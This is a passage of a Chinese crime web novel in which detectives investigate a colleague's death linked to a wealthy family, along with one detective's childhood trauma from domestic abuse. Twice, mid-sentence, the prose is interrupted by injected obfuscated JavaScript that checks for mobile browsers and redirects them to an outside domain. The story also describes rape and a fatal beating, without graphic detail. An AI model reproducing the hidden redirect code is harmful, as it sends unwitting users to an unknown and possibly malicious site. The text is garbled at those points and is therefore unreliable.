“不是,我过来有点事。” “嗯,那我和苏乐先回去了。” “好。” 齐况目送着陆闻两人进了电梯,等到电梯门再次紧闭时,他才转身离开那里。 穿过走廊,去到最里面一间办公室的门口,齐况抬手敲了敲未关的门:“徐叔叔,在忙吗?” “小齐啊,”看见来人,徐秋铭拿起桌上的眼镜戴上,“这个时间倒也不忙,快过来坐吧。” “最近觉得怎么样了?” “好多了。自从治疗后,晚上倒是不会做噩梦了,只是在遇到差不多的事时,哪怕和我没什么关系,我好像还是会有点控制不住自己。” “药有在按时吃吗?” “嗯,吃的没剩多少了。”齐况有些无奈地笑了笑。 徐秋铭眉心紧皱,摇头道:“小齐,我之前就和你说过,你现在这种情况,不能只依靠药物去控制,有时候,还在于你自己是否有想要摆脱它的意愿。” 闻言,齐况的眸子暗了暗。把那种东西从自己的生活里彻底赶出去,他自然是想的,做梦都想。 可童年时的遭遇对他来说,实在是太过沉重,哪怕已经过去这么久,任他怎么努力也还是没有办法忘记。 现在他至少可以做到不再去想那个人,可最开始,只要他闭眼躺在床上,回忆便会不受控制地从脑海中涌现出来—— “看老子打不死你!没用的东西,老子天天是白养你的是吧?你和你那个妈一个德行,就是欠打!” “就是他就是他,听说他不是他爸爸的亲生孩子,你看他胳膊上的伤好可怕,我们不要和他玩了。” “儿子,是妈没用,妈对不起你。” 齐况回过神,抬起头朝徐秋铭笑了笑:“徐叔叔,您还是给我再开些药吧。还有,千万别告诉在安我现在的情况。” 徐秋铭张了张嘴,可看到齐况那副强颜欢笑的模样,最终还是没能说出接下来的话。 良久,才点点头道:“好吧。” “以上,就是目前关于本案已知的所有线索。” 会议室里,陆闻低头整理着桌上那叠厚厚的材料:“这次的作案人不止一个,大家还是分组行动。还有,抓捕过程中记得要时刻保持联系,一旦有突发状况要及时汇报,切记不可单独行动。” “齐况!”出了会议室后,陆闻小跑着追上走在前面的人,“那个,这次你就先留在队里吧。” 见齐况面露不解,陆闻才补充道:“我看你最近脸色不太好,还是先别参与抓捕任务了。其实,自从你上次回来后就有些憔悴,真的不是生病了吗?” 齐况避而不答:“对不起陆队,我最近确实遇到了些问题,不过,我会尽快调整好自己的状态。” “嗯,等我们的好消息。”说着,陆闻抬手拍了拍齐况的肩膀,而后转身跟上他们一起跑下去。 同样留队的还有苏乐,在看到转身回来的齐况时,惊了许久才反应过来:“齐哥,这次任务你不去吗?” 毕竟自她的印象里,除非齐况休假或者有其他工作,否则每次他是绝对会出现场的。 “啊……最近状态不太好,”齐况挠了挠头,走到自己的工位前坐下,“这种时候去了,会给他们添乱的。” 苏乐看着他的动作,却没有立刻接话。 她知道的,大概是在某次接触后就知道,齐况是有秘密的,而这个秘密,大概和她的遭遇差不多。 所谓同病相怜,有时候,或许只有经历相同的人,才会理解到对方的感受。 “我倒觉得每次出现场,只要有齐哥在,好像就总是能打破僵局。” 闻言,齐况的身体微微一怔:“真的吗?” “当然啦。”苏乐认真地点着头,“在陆队的心里,也一定早就把齐哥当做是自己必不可少的搭档了吧。” 齐况便笑了。 “笑什么?”苏乐还以为齐况是不相信自己说的话,“我说的可都是实话,虽然陆队嘴上不说,可要是每次报案不拉上齐哥,他心里就不是味儿。相信我。” 是吗?那就好了,他从来没有想过自己会成为谁的必不可少,只要他不是个只会拖后腿的废物,那这样就好了。 夜色沉寂,四下无人。 陆闻提着夜宵从小吃街回来的时候,却看到分局门口站了一个人,正往里面探着头不知在看些什么。 “你好,是有什么……徐在安?” 陆闻还没来得及走近,就注意到站在门口的那个高大身影,正是之前在蓝师大通过齐况接触到的徐在安。 “闻哥?” 徐在安转过身,只见陆闻已经走到他面前:“这么晚了,过来找齐况?” “嗯,他电话关机了,我想他应该不在家,就过来这里等他。” 陆闻点点头:“他应该还要一会儿才能走,要不我去和他说一声?” “啊,不用了。”徐在安笑了笑,“也不是什么要紧事,我就先回去了,回头闻哥可以和他说一声吗,让他给我回个电话就行。” “好。”陆闻便应下一声。 看着徐在安转身准备离开,他却突然又将人叫住:“徐在安, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985507|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关于齐况,我有些事想要问问你,可以吗?” 距离城东分局不远的天桥上,陆闻两人并排撑在栏杆前,看着下面车来车往。 还是徐在安先开的口:“其实,齐况的情况我了解不多,他不太喜欢说自己的事,所以关于他的东西,我知道的也很少。” 这件事,陆闻确实是知道的。 毕竟和齐况搭档了这么久,他知道的除了齐况家的住址,也就只有无意间得知的,他母亲早已经去世的消息而已。 陆闻闭了闭眼,旋即又抬起头,看向身旁的徐在安道:“我从之前就注意到,只要是遇到关于家庭之间,尤其是与父亲有关的案子,齐况就会特别敏感。” “之前我确实也听齐况说起过他的家庭状况,所以我就在想,是不是因为某些经历,才让他变成这样的?” 闻言,徐在安的眉心一跳,似有些震惊:“齐况现在还会那样吗?” “嗯,就好像是看到了什么可怕的东西一样,不敢呼吸还浑身发抖,喊他也是要很久才会回应。” “这件事,我也是偶然才知道的。”徐在安轻叹一声,目视前方时,像是跌入了某一段回忆之中。 那年,齐况大四,为了庆祝他马上就要毕业,徐在安请他在学校附近的小吃摊吃烧烤,谁知就在快要收摊的时候,小摊老板和他的儿子竟突然发生了争执。 徐在安平时就爱多管闲事,碰上这种事,他自然也是要出面的。奈何争论许久无果,徐在安又拉着齐况一起过去劝架。 谁知因为两人争吵的太厉害,最后小摊老板竟然拿起手边的酒瓶,佯装着要朝他儿子那边打过去。 可没吓到他儿子,齐况见状竟立刻蹲在地上抱住头,浑身颤抖着不敢起来,闹剧因此收场。之后徐在安也安慰了齐况许久,好不容易才让人能放松了些。 而徐在安也是在那时才知道,齐况童年时曾因为他的继父,在心里留下了很深的阴影,以至于到现在,只要是这种事情发生,他都会条件反射的躲开。 “我爸是治疗这方面的医生,所以后来我介绍了他们认识。不过几年前我就听齐况说过,他已经好的差不多了,原来,他还是会那样吗?” 闻言,陆闻这才终于反应过来,之前他在医院里碰到过齐况的巧合,不过当时他没有太在意,没想到会是因为这种事。 “都已经过去这么久了,没办法治好吗?” 徐在安摇摇头:“我也不太清楚,只听我爸说过,这种病不单是靠药物治疗,还需要患者自己能打开心结。之前齐况也去看过心理医生,不过好像都不太理想。” 陆闻紧抿着唇,一时竟不知该说什么才好。 在他的印象里,齐况虽然性格温和,可与人相处总带着些疏离,他也想过齐况会有些故事,竟没想到会是因为这些。 大概是察觉到身边人的情绪有些低落,徐在安抬手拍了拍他的肩膀:“其实呢,齐况有和我说过,自从进到你们分局,他真的改变很多,也接受到了很多的善意,他已经很知足了。” “嗯,齐况于我而言,也是个很好的搭档。” 52. 渔翁得利 不知什么时候开始,徐在安的手机就在衣兜里不停地振动着,他拿出来看了一眼屏幕,打电话过来的正是齐况—— “喂,齐况。” “对,不用着急,其实也不是什么重要的事。没关系的,我在你们分局门口,还有闻哥。” “好,我等你。” 见徐在安挂断电话,陆闻才开口道:“齐况要下来了吗?” “嗯,他说刚才在忙工作,手机没电关机了他也没注意,准备走的时候才发现不亮了。” 陆闻点点头:“那我就先上去了,你们回去注意安全。” 徐在安见陆闻已经绕过他准备离开,连忙叫住他道:“我们准备去吃饭,闻哥也和我们一起去吧?” “不用,饭我有了。”陆闻没回头,只是掂了掂手里的餐盒,“手头还有工作,你们去吃吧。” 见陆闻逐渐走远,徐在安没再挽留。他转身重新撑在栏杆上,目光放的极远,脑内还在想着刚才陆闻和自己说过的话。 真好啊,齐况。 外公外婆,齐阿姨,还有我,除了我们,你又遇到会真心想要了解你的人了呢。 “在安——” 附近忽地响起齐况的声音,徐在安回过神看向声源处,只见齐况已经走到天桥的楼梯前,正朝着站在天桥上的他招手。 徐在安的唇角微微扬起,举起手向齐况在的方向挥了挥:“等我下去!” 为着查林一然的案子,陆闻在队里熬了个通宵。等他迷迷糊糊地开始有些意识时,只感觉到有悉悉索索的声音在他耳边响起—— “齐况?” 陆闻坐直身体,抬起手揉了揉眼睛:“你怎么在这里……没事放着吧,我来收拾就行。” 齐况没听他的,等到把所有摊开在桌上的案卷和材料都整理好后,他才走到陆闻的对面坐下:“又在看一然的案子吗,怎么样了,有没有什么新发现?” “线索倒是有一点儿……你还记得之前,我给你看的一然日记里的那些案件吗?” 齐况点点头:“记得,好多都是我们一起侦查过的案子。” “嗯,我后来顺着日记的日期,找到了当时的几起报案,其中有一起报案的内容和一然日记上的内容非常符合,而且这个案件,似乎还和江家有点关系。” “你看这个,”陆闻招招手,示意齐况过去看他桌上的电脑,“你看啊,去年的6月上旬,景新派出所接到一起报案,报案人常月颜称自己受到了侵犯,而她指认的嫌疑人正是江优的儿子江文铭。” “不过事情发生不久,常月颜突然主动撤销了报案,我猜这里应该是对应了一然日记里,作案人对她实施了威胁的那段。” “之后我去问了常月颜家附近的邻居,因为常月颜的父亲是菜贩,平时就在菜市场摆摊,所以他们都认识常月颜一家。” “但是,就在我问到他们是否知道常月颜一家的近况时,他们却都一致对外,反复强调自己绝不了解常月颜家的私事。” “如果,整起案件成立的话,这倒让我觉得,就像是大家都约好的要这么说才行。还有就是,这起案件是怎么从景新派出所到一然手上的,我到现在都没想明白。” 陆闻的情绪有些低沉,这么长的时间过去了,关于林一然的事,他查到的不过都是些皮毛。 不知怎么的,他总觉得有些东西就像是被人为隐藏起来了,任他怎么也找不到。 齐况仔细查看着电脑上的所有内容,良久,才开口道:“那江文铭呢?” 陆闻拿过一只笔,在手里反复转动着:“和他谈过一次话,他说自己根本不认识常月颜,而且案发那天的行动轨迹还有人给他作证,在没有证据明确指向的情况下,我也不好强行拉人过来。” “那如果说,常月颜的案子和江文铭有关系,一然会不会也……” “我确实想过这个,”陆闻眉心紧皱,似在思考什么重要的问题,“而且在废弃大楼放了爆炸/物的李天明,之前和池林江三家都有过接触这一点,我多少了解到一些。” “我问了林父,他说自己当时并不知道李天明是谁,所以就让助理打发他走了,也就是说,林家其实并没有和李天明见过面。” “而池万笙的意思,李天明是因为自己父亲的案子,主动去找的他,找他的目的也只是让池万笙可以拿些赔偿给许明华。” “至于江文铭,”陆闻顿了顿,从电脑旁边的一摞书上面,拿过一个厚厚的本子递给齐况,“你看看这个。” 齐况看的仔细,陆闻就在一旁静静地等着,待人终于将目光从记录本上移开的时候,他才继续开口问道:“你觉得呢?” 齐况终于回过神,却没有立刻答话,似在消化刚才自己从记录本上了解到的信息。良久,他才将本子放在桌子上—— “不太可信,前后几处明显有矛盾。” “江文铭说他之前和李天明并不认识,可李天明主动找他的目的,竟然是为了要帮江优除掉竞争对手的儿子?” “而且,既然他们不认识,李天明为什么会想着,找不认识的人帮他照顾许明华,那他后来再找池万笙要补偿又是为了什么?” “我也觉得奇怪,林江两家在生意上虽然是对手,却不存在什么恶性竞争,更别说是以此就要除掉对家的孩子。我还是觉得,问题始终都出在常月颜的那个案子上。” 陆闻突然像是想到什么,眉心又不自觉地皱成了一团:“可现在不管是常月颜还是江文铭,两边既没有可用的线索,嘴都还紧的很,我现在就是两头堵,实在不确定要从何查起了。” 闻言,齐况也陷入了沉思。 如今他们掌握的线索不全,如果再没有足够的理由,就这样把江文铭叫来询问,作为蓝海商业三巨头之一的江家,背后是否有人撑腰,或者以此会掀起多大的波澜,还未可知。 “对了,之前你不是说过池江两家是亲家,那池万笙会不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985508|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道些什么?” 陆闻撇撇嘴:“虽说池家早年就和江家不对付,可池青玉毕竟是池万笙的亲姑姑,江文铭是他表弟,就算真的有什么,他能对我们松口吗?” “也是,万一打草惊蛇就更不好了。” 门外,来往走动的声音越来越多,讨论无果,齐况正准备回去自己的工位上工作,苏乐正巧在这时候推门进来—— “陆队……齐哥也在,你看一下,这些是你让我找李天明问的问题。” 闻言,齐况停下步子,转身又回到两人身旁。 陆闻接过苏乐递给他的笔录,仔细翻阅了一遍:“他就说了这些?” “李天明的嘴很严,很多问题他也只是草草带过,不过他反复强调,在观海路废弃大楼安放爆炸/装置是他自己的想法,目的就是为了报复上去检查的警察,不论是谁。” 齐况点点头,目光却没离开那纸上的几行字:“确实,不管问题是什么,好像李天明的回答,最后都会把问题重点放在是陆队让一然去的废弃大楼,而对于和池林江三家接触的事情,他完全是一笔带过。” “嗯,这些地方还需要着重调查。”陆闻脸色凝重地点点头,随后看向对面的人,“苏乐,辛苦你了,后面的就交给我吧。” 苏乐摇摇头:“这也都是我应该做的。那陆队,齐哥,我就先回去了。” 目送着苏乐离开,办公室的门被从外面关上,齐况低头在陆闻对面坐下,目光仍停留在李天明字里行间的辩解之处。 “看出什么了吗?”陆闻的一句话,将齐况的思绪给拉了回来。 他紧抿着唇,良久,才朝陆闻摇了摇头道:“也不能说是明确的看出了什么吧。只是觉得有些奇怪,从江文铭的角度来说,李天明是以除去竞争对手的儿子为理由,和江家谈的条件。” “先不说他们的条件究竟有没有谈拢,李天明在废弃大楼的计划里,就算是有一半的可能是为了一然,可他本人现在却一直强调自己的报复是无差别,我觉得是有些矛盾的。” “确实如此。江家不用说,不管常月颜的案子和一然有没有关系,江优必定不会说对江家不利的话。” “不过,既然李天明和林一然的名字同时出现,这点应该是可信的。那李天明急于否认自己的计划和一然完全无关,反而就变得没什么说服力了。” “常月颜报警,林一然查案,江文铭想掩盖罪行,李天明适时提出条件,如果把这些都串起来……若真是这样的话,江家的嫌疑倒是没跑了。” 齐况点点头:“嗯,现在只缺少能证实这些猜测和推论的证据了。” 证据。 陆闻抿了抿唇,却没答话。 说起来,自从陆闻开始查林一然的案子,那些证据,能证明林一然的去世不是意外的证据,总是在他快要抓住的时候,又如凭空消失一般,无影无踪。 不然也不至于过了这么久,他竟连常月颜的半点消息都没有。 53. 渔翁得利 午间,陆闻难得能在饭点儿到食堂吃上一口,他双手插兜站在门前,放眼望去坐的都是低头吃饭的警察。 “苏乐,”陆闻端着餐盘,正纠结着要和谁拼个桌,转头便看到早一步过来吃饭的苏乐,“可以坐这儿吗?” “陆队,当然可以。” 陆闻夹了一口菜放进嘴里:“听说你要订婚了?” “嗯?”闻言,苏乐夹菜的手猛地一顿。她只是有些意外,没想到陆闻比她想象中知道的要快。 “是啊,本想着陆队最近在忙一然的案子,这种事情还是等等再说的好,没想到陆队已经知道了。” “我也是偶然听他们说起的。不过,到时候有什么需要我帮忙的地方尽管提,只要我能做到的我一定过去,我做不到的,你就打电话给我妈。” 陆闻知道苏乐的母亲不在身边,虽说她和她的男朋友是从小就认识的,可是结了婚之后难免会受委屈,她没有母亲可以为她解忧,那就让同为女性的李如芳来听她倾诉。 “谢谢陆队,”苏乐的眼眶有些湿润,“我没什么问题的,实在不知道该怎么说才好……总之,谢谢你,陆队。” “哎呀,傻丫头,赶快吃饭吧啊。” 一起从食堂出来后,陆闻和苏乐两人正好遇到从外面回来的齐况:“齐况,吃饭了吗?” “陆队,苏乐。”齐况在两人面前停下脚步,“还没有,正准备去食堂。” “嗯,反正也没什么事儿,我和你一起去。苏乐,你先回去吧,哦对了,别忘了我交代你的。” “好,那我先走了。” 这个点的食堂已经没那么多人,陆闻找了个角落的位置,等着齐况打饭过来。 “案子查的怎么样了?”还未坐下,齐况便首先开口问道。 “有些进展,刚找到了当天常月颜父亲常斯,与江文铭发生争执时的目击证人。”说到这儿,陆闻长叹了一声,“好不容易才找到的,准备下午过来做笔录。” “那就好。只要能证明江文铭与常月颜一家有关,就有理由让他过来接受询问,后面的事再说也不迟。” 陆闻点点头:“可我总担心,到时候江文铭不会轻易对我们松口。” 齐况没说话。 的确,目击证人的证词,毕竟不能算作绝对的证据,除非他们找到侦破此案的关键性证据,否则根本不可能以此就确定作案人的罪行。 “还是先等下午的结果吧。” 眼看食堂里的人越来越少,嘈杂过后,陆闻倒觉得有些不适应。 他悄悄看了眼齐况,对方似乎有些心不在焉,说起来,齐况好像除了讨论案子,平时都不会主动表达自己。 “那个……齐况,你最近好些了吗?” “嗯?”对于陆闻突如其来的一句话,齐况有些不解,可他很快就反应过来陆闻话里的意思,“嗯,好多了。我听在安说了,他有和你说过我的事。” 陆闻有些不好意思地挠了挠头:“抱歉,没经过你的同意,就问了你的私事。” “没事的,我不是很在意这些。” 陆闻没说话。其实对于齐况的事,他有很多问题想要问,可是他又怕问的太深,对齐况来说会是种冒犯。 “那个,我有听徐在安说,你现在是在他父亲那里治疗?那之前我和苏乐在医院碰到你也是……还有上次出现场,你状态也不好……” 眼见着陆闻的表情变得越来越内疚,齐况没忍住笑出声来。正滔滔不绝的陆闻见此,有些疑惑地看向对方:“怎么了?” “没……”齐况忍住笑意,将筷子放在盘子上,“你还记得我之前和你说过,关于我妈和我爸的故事吗?” “嗯。”陆闻如实点了点头。 “其实,中间隐去的部分,是这样的。”齐况低头闭了闭眼,好像又跌入了漫长的回忆里。 没有亲朋好友的祝贺,也没有举办像样的婚礼,只凭一桌家常菜和两本结婚证,刚生下孩子不久的齐冉,终于还是嫁给了杨瑞风。 那天,杨瑞风红着脸,发誓会一辈子对齐冉,以及和自己根本就没有血缘关系的齐况好。于是齐冉便自以为烧了高香,竟遇到个不在乎她的过往,愿意用一生照顾他们母子俩的男人。 可惜好景不长,凶猛的恶狼终于忍不住向他们母子俩露出獠牙。 揭开了伪善面具的杨瑞风开始酗酒家暴,他痛恨懦弱无能的齐冉,更厌恶和自己没有半点儿关系的齐况。 而对于当时幼小的齐况来说,他不明白杨瑞风为何生气,也搞不懂他如此讨厌他们母子的缘由。 齐况只知道,他是杨瑞风口中的废物丑八怪,也因为身上的淤青,他从来没有过,哪怕一个朋友。 直到齐况十五岁那年的冬天,杨瑞风因酒驾出了车祸去世。 从此以后,他们不用再害怕脚步声推门声,也不用再担心随之而来的辱骂和巴掌,还有碎裂的酒瓶与无尽的黑夜。 像是一颗压在身上的大石头终于被挪开,他们从来没有感觉过,原来活着也可以那么轻松。 那天晚上,齐冉握住齐况的手,眼含着泪轻声道:“儿子,这座城市没什么不好,不好的是你会在这座城市遇见什么人。” “从明天……不,从现在开始,你不用再带着恐惧睡觉,试着用另一种方式去感受接下来的生活,好吗?” 可惜,齐况并没有因此睡个好觉。 一如既往的,只要闭上眼,杨瑞风高大的身影仍会像恶魔一般挡在他的面前,任他怎么也无法逃离那里。 “说来也奇怪,”齐况耸了耸肩,像是在自言自语,“明明都可以这么轻松地谈论这些事情了,可有时候还是会控制不住自己的情绪,或许我这辈子都不会再好了吧。” 陆闻回过神,朝眼前的人摇了摇头道:“会好的,一切都会好的。” “陆队,陆队!” 办公室外,薛文霖有些焦急地敲响了门,还未等里面的人应声,他便匆忙推门进去:“陆队,目击证人来不了了!” “什么?”正坐在办公桌前看案卷的陆闻猛地一惊,慌忙站起身快步走到薛文霖的面前,“因为什么?” “刚才他主动联系到我们,说他昨天说错了,他当时根本没看 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可惜能找到的东西还是太少。 陆闻知道,时间过得越久,很多东西就会变得越模糊,如果再不抓紧,就真的什么也没有了。 一定,不能放弃。 可让他怎么也没想到的是,在那之后,所有难题竟都不攻自破,就像是有一双无形的手,在他们背后推波助澜一样。 深夜,陆闻提着夜宵刚上楼,正好撞见齐况风风火火地从办公室里跑出来:“陆队,你来的正好!” “怎么了这是?”陆闻有些没反应过来,他还是第一次见到这样的齐况。 “常月颜,出现了。” “出现了?”陆闻一把抓住齐况的胳膊,还以为自己是听错了,“常月颜?真的吗,在哪儿?” “刚给苏乐打的电话,说是明天一早就会过来,其他的什么也没说。” 陆闻有些恍惚,他查了这么久都没有动静,没想到到头来,竟是受害者主动联系了他们? “是真的,对吧?” 陆闻还是有些不敢相信,毕竟从头到尾,这个串联了整起案件的常月颜,一次都没有出现过。 “是真的,陆队。” 是真的就好。 陆闻突然有些手足无措,还要等到明天,应该不会再出什么事情了吧,会不会又要像上次那样? 不会的,希望不会,一定不会。 齐况见陆闻还有些不安,抬起手拍了拍他的肩膀算作安慰:“陆队,没事的。” “嗯,我知道。”说着,陆闻朝齐况笑了笑,似乎是想证明自己真的没什么。 天才刚蒙蒙亮,陆闻就关上了办公室的灯,然后走到饮水机前倒了杯热水。 沉在杯底的茶叶缓缓上升舒展,茶色在水中晕染开来,最后茶香也连着热气一起飘散在空中。 一晚上过去了,陆闻内心那没来由的紧张却没消去半分。直到齐况推门进来,朝着他说了一句:“陆队,常月颜来了。” 54. 渔翁得利 “陆警官。” 推开接待室的门,陆闻终于见到了这个陌生又熟悉的女孩儿。在此之前,他确实一次都没有见过常月颜,可是关于她报案之后的那段经历,他却不知看了多少遍。 “常月颜,你好。” 简单的打了招呼之后,陆闻和常月颜面对面坐下,找了这么久的人终于出现在自己的面前,陆闻一时间还真没想好该从哪里开始问起。 “是我拜托了林警官,让他帮我找能定江文铭的罪的证据。” 还是常月颜先开的口。大概是往事带给她的记忆太过痛苦,她紧咬着唇,好半天都没能继续说下去。 “之前,我在一家小饭店做服务员,我和江文铭能遇见,是因为那天他过来店里吃饭。他喝多了酒,我上菜的时候他就抓着我不放,当时我真的很害怕,就和其他同事商量着调换了。” “我本来以为这件事就这么过去了,可没想到有天晚上我下班回家途中,被人打晕了带到一个地方,等我醒来的时候,就看到江文铭躺在我的旁边。” “事发之后我报了警,可等来的,不是江文铭获刑,而是他带着一群人找到我家,我爸也因为保护我,被那群人活活打死。” 说到此处,常月颜吸了吸鼻子,豆大的泪珠顺着眼角掉落。有所察觉之后,她忙抬起手擦拭:“对不起……” 陆闻摇摇头,而后从桌上抽出几张纸巾递到常月颜的手里。等人稍微缓和了些后,他才试探着问了句:“那后来你没有再打报案电话,和林一然是私下联系到的?” 常月颜点头:“我和林一然,高中时是同桌,毕业后也有联系过。江文铭家有钱有势,我知道即使再报案,他也不会怎么样,所以就找到一然,想向他了解些情况,看看怎样才能让江文铭获刑。” “结果他在听了我的遭遇后,毅然要帮助我查案,说实话,我当时真的很感激他,可现在的我只有恨,恨自己为什么要拉他下水。我对不起他。” 常月颜哽咽着说完最后一句话,然后便紧咬住唇,让自己不至于再哭出声来。陆闻和齐况也默契的没出声,想来是因为对于林一然的牺牲,他们都各有愧疚。 “对了,”常月颜擦了擦脸上的眼泪,而后在自己的包里仔细翻找着,“陆警官,这个给你。” “这是?”陆闻从常月颜的手里接过,这才注意到她给自己的东西,竟是一个小型录音笔。 “我这段时间,一直都住在山里的老家,可就在三天前,有人找到了我家的地址,还给了我这个东西。我事先听了,是江文铭找人要害一然的证据!” 闻言,陆闻的心猛地一沉。他紧紧握住那只录音笔,只觉得自己的大脑一片空白,就连说话也变得有些困难起来。 “是谁……”再开口时,陆闻的声音都有些嘶哑,“是谁给你的?” 如果这是能证明江文铭犯罪的重要证据,那么除了江家,会是谁能有这么大的本事? 常月颜摇摇头:“我并没有见过那个人,那个人也没和我说过他是谁。” 接下来的时间,薛文霖和涂暄负责继续询问常月颜案发时的详细情况,而陆闻和齐况则是找了个空房间,一遍又一遍地听着录音笔里的内容。 “陆队……”又一遍不知已经听完了多久,齐况终于开口打破这沉默,“我们接下来,是不是可以直接立案调查了?” 安顿好常月颜之后,陆闻带队来到江家,此时除了江优,只有池青玉和江文铭母子俩在家。 “你好,我们是城东分局刑侦大队的警察,有一起要案需要江文铭的配合。” 开门的正是池青玉,她的容颜虽老气韵仍在,一身装扮娴雅大气,素色旗袍尽显身材,可开口却如锐刺一般—— “不好意思,还请警察同志说明是什么要案,又是否真的和江文铭有关?我们江家的人,可不能随随便便往公安局去的。” “池女士,对吧?”陆闻朝眼前人露出了一个笑容,“江文铭是人吧,他只要是人,犯了罪,我们就有理由传唤他去公安局。” “而且,警察没有证据,会随随便便过来抓人吗?还请池女士让人出来,跟我们走一趟吧。” 池青玉没再反驳,毕竟对面是警察,陆闻看起来也不像是个好惹的,她便转身进屋,先给江优打了个电话,然后才叫了江文铭出去。 走到一楼的转角处,池青玉趁着陆闻等人站在门外看不见,又拉住江文铭交代了几句:“你记住,他们没有明确的证据,拿你没办法的,你可千万别自己承认了,知道吗?” 江文铭推开池青玉搭在自己胳膊上的手:“妈,我自己知道该怎么应对,你就放心吧。对了,我让汪志和江川留在家里保护你。” “好,你放心,还有你爸在呢。” “嗯,那我先走了。”说完,江文铭摆摆手,转身朝外面走去。 陆闻本以为带走江文铭要费些功夫,却不成想他竟能如此爽快,想来是断定他们找不到能将他一举定罪的证据吧。 不过这次,他们失算了。 城东分局刑侦大队的审讯室里,马永毅和齐况一前一后走进去坐下,而陆闻则在隔壁的监控室里,观察着里面的一举一动。 马永毅人长的周正,可审讯时总会不自觉的板着个脸,倒给人一种绝不能惹的气场。往常陆闻还没太注意,今天看着齐况坐在他旁边,竟显得局促了些。 同样局促的还有江文铭,虽说他在来之前绝对有信心他爸能保他无事,可在对上马永毅那凌厉的眼神后,他倒真有些慌了。 “江文铭,”马永毅忽地开口,将江文铭吓了一跳,“能说说去年,也就是2020年的5月23日的晚上10点,你在哪里吗?” 江文铭有些犹豫,随后不答反问道:“警察同志,这都是去年的事了,谁能记的这么清楚?” “那好,我来告诉你,2020年5月23日晚上10点,你去了一家名叫人间真味的饭店吃饭,算你一共 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“喝了酒不清醒,这个没印象,上菜换了个人你就有印象了?江文铭,我劝你老实点儿,现在能交代的就抓紧交代完,别等着后面可没机会了啊。” 马永毅说完,将手里的几张照片往桌上一拍,吓得江文铭身体一抖,更不敢说话了。虽说他之前也做过错事,可那还有他爸给他兜着,如今的他可是孤身一人啊。 “我交代,警察同志我都说,我那天确实见色起意,看上菜的服务员长得漂亮,就和她搭了几句话,当然了,我当时喝多了脑子不清醒,也确实上手了。可是后面她就没再来了,我想对她怎么样,也没机会了啊警察同志。” 虽说是用了个屡试不爽的借口,可江文铭的供词和他们了解到的,并没有太大的出入,于是这页就算先翻过去了。 “确实,因为常月颜事先走了,所以你并没来得及对她做更过分的事。可是……”马永毅顿了顿,示意齐况将东西展示出来,“这之后你又要怎么解释呢?” “5月27日的凌晨12点30分左右,”齐况拿起当时常月颜报案后的供词,一字一句地读着。 “据了解,受害者在下班回家的路上遭到袭击昏迷不醒,后来于当日的上午8点43分左右醒来,据受害者讲述,当时在受害者昏迷期间,就已经受到了侵犯,而作案人经过指认,就是江文铭。” 马永毅轻叹了一声,继而说道:“当时常月颜报了案,也上交了证据,可是你的父亲也就是江优,将你保了出来,对吧?” “我……” 眼看着江文铭又想好了措辞,马永毅适当开口提醒了他一句:“对了,这是当时记录在案的,都是实实在在的,你也不用想着找理由敷衍过去,啊。” “是。”江文铭只好将到嘴边的话都给咽了下去。 “好,”马永毅满意地点了点头,“如果前面没什么问题了的话的,那么接下来的问题,我希望你也能继续认真的回答我。” 55. 渔翁得利 “江文铭,2020年的6月12日你在哪里,见了什么人,还记得吗?啊对了,我先提醒你一下,是一件很重要的事儿。” “我好像,那天好像去找了常月颜。” 马永毅合上记录本,抬头看向江文铭:“事情已经过去了,你找常月颜做什么?” “我……我知道自己错了,想和她道歉。” 闻言,马永毅没忍住嗤笑一声,随后又立刻收起了笑容:“不好意思,你给常月颜道歉了?那她怎么说,就原谅你了吗?” 江文铭被马永毅盯的有些心虚:“没,后来她爸过来了,说什么都要把我打出去。” “你就走了?” “我走了。后来又听人说她爸有病,因为这件事被气的摔死了,我也是听说……” “不好意思啊,”马永毅摆摆手,示意江文铭先停下,“是这样的,据我们了解呢,你和受害者的证词并不一样,所以这段,还请你能好好儿的想想。” “这样吧,小齐,你给他大致对一下受害者的供词。” 齐况点点头,在几份笔录中,找到了常月颜当时的证词:“据受害者描述,6月12日下午5点多,江文铭带人找到了她家中,就受害者报案的事情威胁了她。” “而常斯在听见声响后,第一时间出来维护了自己女儿,没想到江文铭让人将常斯按在地上拳打脚踢,最后致人死亡。” 等到齐况读完,马永毅才不紧不慢地开口道:“江文铭,你看看这,你们这差的也太多啦,我们该信谁的呢?” “警察同志,”江文铭有些急了,“我知道常月颜在你们那里是受害者,可是也不能完全相信她不相信我吧?” “哎呦,你看我这记性!”马永毅一拍脑袋,摊了摊手道,“忘记告诉你了,常月颜家装了监控,我们已经看过那天事情发生的全过程了,那个和你的供词,也不一样呢。” 眼看自己所有的心思,都被对面的人毫不留情地戳穿,江文铭只觉面上有些挂不住:“你们耍我是吧?” “坐下!” 见状,马永毅瞬间就冷下了脸:“还敢在这儿说谎拍桌,你也不看看自己现在是在哪儿!” “我告诉你江文铭,你最好是都老老实实给我交代喽,还想唬我们,我们掌握的证据可比你想象的多多了!” 马永毅站起身,绕着审讯桌转了一圈,最后将目光停在江文铭的脸上:“老实交代,那次李天明去你家,你们到底说了什么?” 此话一出,江文铭才是真的意识到,自己接下来不论再说什么,都无疑是把自己往绝路上推。 他好半天才缓过劲儿,旋即下意识地握紧了手指:“这个问题,我早就和你们陆警官说过了,我拒绝回答!” 